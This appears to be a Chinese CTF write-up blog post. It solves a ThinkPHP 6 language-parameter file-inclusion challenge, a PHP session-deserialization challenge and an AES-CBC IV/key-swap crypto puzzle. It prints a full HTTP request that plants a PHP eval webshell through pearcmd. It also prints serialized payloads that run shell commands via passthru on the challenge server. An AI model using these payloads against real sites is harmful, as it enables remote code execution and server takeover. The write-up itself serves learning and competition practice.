thinkphp
ThinkPHP 多语言本地文件包含漏洞
首先是老朋友pearcmd.php,可以在P神的这篇文章中了解一下Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)
环境中提及ThinkPHP V6.0.12LTS,很快的找到vulhub靶场中的vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)以及复现ThinkPHP多语言模块文件包含RCE复现详细教程 - 小阿辉谈安全 - 博客园 (cnblogs.com)
首先发送以下数据包,将木马写到/tmp文件夹中(/html文件夹不可写)
GET /public/index.php?+config-create+/<?=@eval($_POST['cmd']);?>+/tmp/mnh.php HTTP/1.1
Host: 47.94.9.17:19998
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn
Connection: close
为了将/tmp/mnh.php包含进去,需要在请求头内添加think-lang : ../../../../../../../../tmp/mnh
之后使用蚁剑连接,连接后在根目录下得到flag
session
这题有思路,但是没弄明白析构函数那里怎么触发,先放在这里
现在明白了,if那里不能不管,得随便传个值上去
<?php
class qwe{
public $d;
function __destruct()
{
eval($this->d);
}
}
if($_GET[1] == 1){
ini_set("session.serialize_handler","php_serialize");
}else if($_GET[1] == 0){
ini_set("session.serialize_handler","php_binary");
}
session_start();
$_SESSION["id"] = $_GET["id"];
首先是session的存储格式
php_serialize | 经过serialize()函数序列化数组 |
php | 键名+竖线+经过serialize()函数处理的值 |
php_binary | 键名的长度对应的ascii字符+键名+serialize()函数序列化的值 |
利用这些解释器工作方式不同,就可以触发PHP的session反序列化漏洞
payload:
<?php
class qwe{
public $d;
function __destruct()
{
eval($this->d);
}
}
$a=new qwe();
$a->d="passthru('cat /flag.txt');";
echo(serialize($a));
# O:3:"qwe":1:{s:1:"d";s:26:"passthru(%27cat%20/flag.txt%27);";}
# 根据格式,需要在前面加个竖线|
在读取session时首先使用php_serialize处理,即传入"1=1"。此时会把 符号 “|“作为一个正常的字符处理。之后再使用php处理,这样会把”|” 当成分割符,从而造成了漏洞
先找找flag在哪
47.94.9.17:19999/?1=1&id=|O:3:"qwe":1:{s:1:"d";s:17:"passthru(%27ls /%27);";}
在根目录,cat一下flag.txt
47.94.9.17:19999/?1=1&id=|O:3:"qwe":1:{s:1:"d";s:26:"passthru(%27cat /flag.txt%27);";}
Sign_in
from Crypto.Cipher import AES
import os
from secret import flag
key = os.urandom(16)
assert len(flag) % 16 == 0
iv = os.urandom(16)
cipher = AES.new(iv, AES.MODE_CBC, key)
C= b"So, it is such an easy problem. This message contains no flags."
assert len(C) % 16 == 0
print("iv1 =", iv.hex())
print("c1 =", cipher.encrypt(C).hex())
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv )
print("iv2 =", iv.hex())
print("c2 =", cipher.encrypt(flag).hex())
'''
iv1 = dbda8ad162f28597cc057fba43c1c549
c1 = 6c5b7ee87db989e252a2176d14d11bd782e891fd571c0b6100a71732bf557581c01fad6f2837570c92fa3e918b404fa21f8611671cf6ce6802f84dc7f3d6ed0c
iv2 = b1cd3899a250c647361ee8b4f7f136b0
c2 = 4d3aa44aeb6a629b3f287e1aed14491c59afec7c6e2a2dbf8a6a16eee657fbbc
'''
观察代码,发现两次加密分别调换了 iv 与 key 。其中iv1、iv2和对应加密后的密文已知,第一次加密的原文已知
第一次解密:
from Crypto.Cipher import AES
import os
iv = os.urandom(16)
cipher = AES.new(iv, AES.MODE_CBC, key)
C= b"So, it is such an easy problem. This message contains no flags."
assert len(C) % 16 == 0
print("iv1 =", iv.hex())
print("c1 =", cipher.encrypt(C).hex())
'''
iv1 = dbda8ad162f28597cc057fba43c1c549
c1 = 6c5b7ee87db989e252a2176d14d11bd782e891fd571c0b6100a71732bf557581c01fad6f2837570c92fa3e918b404fa21f8611671cf6ce6802f84dc7f3d6ed0c
'''
明文:b"So, it is such an easy problem. This message contains no flags."
密文:base64.b16decode('6c5b7ee87db989e252a2176d14d11bd782e891fd571c0b6100a71732bf557581c01fad6f2837570c92fa3e918b404fa21f8611671cf6ce6802f84dc7f3d6ed0c',True)
密钥:base64.b16decode('dbda8ad162f28597cc057fba43c1c549',True)
给出了密钥(key),明文(plainText),密文(cipherText),使用的是 密码分组链接 CBC(Chiper Block Chaining) 模式。要求出 初始化向量 IV(Initalization Vector)
通过参考文章一道通过密文明文求解 IV 的密码学题目(crack AES-CBC IV) - scriptk1d - 博客园 (cnblogs.com)可以得到解密脚本,这里不再重复。简要说明就是
- 伪造一个 fakeIV = "aaaaaaaaaaaaaaaa"
- 使用 fakeIV 和 key 去构造 Cipher -- fakeIVAes
- 使用这个 fakeIVAes 去解密 cipherText1,得到一个假的明文 fakePlainText
- 然后把 cipherText1 和 fakeIV 作异或运算得到 enc_msg
- 把 enc_msg 和 plainText 作异或运算就能得到真正的 IV
from Crypto.Cipher import AES
import base64
def xor(p1, p2): #此函数用于python2环境,这里使用python3,不使用xor()函数
tmp = ''
for i in range(len(p2)):
tmp += chr(ord(p1[i]) ^ ord(p2[i]))
return tmp
def bxor(b1, b2): #通过bytes进行异或
result = b""
for b1, b2 in zip(b1, b2):
result += bytes([b1 ^ b2])
return result
key = base64.b16decode('dbda8ad162f28597cc057fba43c1c549',True)
cipherText = base64.b16decode('6c5b7ee87db989e252a2176d14d11bd782e891fd571c0b6100a71732bf557581c01fad6f2837570c92fa3e918b404fa21f8611671cf6ce6802f84dc7f3d6ed0c',True)
plainText = b"So, it is such an easy problem. This message contains no flags."
fakeIV = b"aaaaaaaaaaaaaaaa"
fakeIVAes = AES.new(key, AES.MODE_CBC, fakeIV)
fakePlainText = fakeIVAes.decrypt(cipherText)
print("fakePlainText:",fakePlainText)
print("fakeIV:",fakeIV)
enc_msg = bxor(fakePlainText, fakeIV)
iv = bxor(enc_msg, plainText)
print(len(iv))
print(iv)
'''
fakePlainText: b'\x9b\x92\xc3\x14\xcb\x14\xe01\xa4\x11^&4\xe0\x87\x89n easy problem. This message contains no flags.'
fakeIV: b'aaaaaaaaaaaaaaaa'
16
b'\xa9\x9c\x8eU\xc3\x01\xa19\xb6PL26\xe9\xc6\x89'
'''
据此脚本,得到key(在第一次加密中作为iv使用)=b'\xa9\x9c\x8eU\xc3\x01\xa19\xb6PL26\xe9\xc6\x89'
第二次解密:
得到key后,只需要常规操作就可以解密flag了
from Crypto.Cipher import AES
import os
from secret import flag
key = os.urandom(16)
assert len(flag) % 16 == 0
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv )
print("iv2 =", iv.hex())
print("c2 =", cipher.encrypt(flag).hex())
'''
iv2 = b1cd3899a250c647361ee8b4f7f136b0
c2 = 4d3aa44aeb6a629b3f287e1aed14491c59afec7c6e2a2dbf8a6a16eee657fbbc
'''
import base64
from Crypto.Cipher import AES
key = b'\xa9\x9c\x8eU\xc3\x01\xa19\xb6PL26\xe9\xc6\x89'
iv = base64.b16decode('b1cd3899a250c647361ee8b4f7f136b0',True) # iv2
en_text = base64.b16decode('4d3aa44aeb6a629b3f287e1aed14491c59afec7c6e2a2dbf8a6a16eee657fbbc',True) # c2
aes = AES.new(key,AES.MODE_CBC,iv)
den_text = aes.decrypt(en_text)
print("明文:",den_text)
'''
明文: b'flag{N0w_th3_1V_i5nt_s3cur3_t00}'
'''
得到flag:flag{N0w_th3_1V_i5nt_s3cur3_t00}
Comments | NOTHING